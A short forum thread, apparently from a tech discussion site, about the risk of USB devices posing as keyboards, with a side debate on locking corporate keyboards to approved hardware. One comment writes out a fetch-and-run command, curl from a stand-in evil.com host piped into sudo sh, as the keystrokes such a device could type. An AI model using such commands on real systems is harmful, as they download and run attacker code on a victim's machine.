3 ms·
Don't believe generic hid is safe either. You could make a device that pretends it's a keyboard and automatically inputs win+r curl http://evil.com/script.sh ht
by Too 8y ago
Don't believe generic hid is safe either. You could make a device that pretends it's a keyboard and automatically inputs win+r curl http://evil.com/script.sh http://evil.com/script.sh | sudo sh sleep alt+y.
Sorry for mixing windows and Linux but conceptually something like this should work on windows if you don't require password in your UAC prompts.
- TazeTSchnitzel 8y agoJust leaking data requires no UAC!
- clort 8y agoI wonder if a big (Fortune 500) company could get HID devices which were customised so that only company owned devices could be plugged in.. it shouldn't be that hard to design such a device that would show up as a custom device then the installed driver would poke it in a crypto shielded way and it then provides the keyboard/mouse inputs. It can't simply do the standard 'detach and reattach as a HID' because otherwise then a HID would work.. Hm, perhaps.. is anything like that available already?
- Too 8y agoPlease no, don't add DRM in keyboards.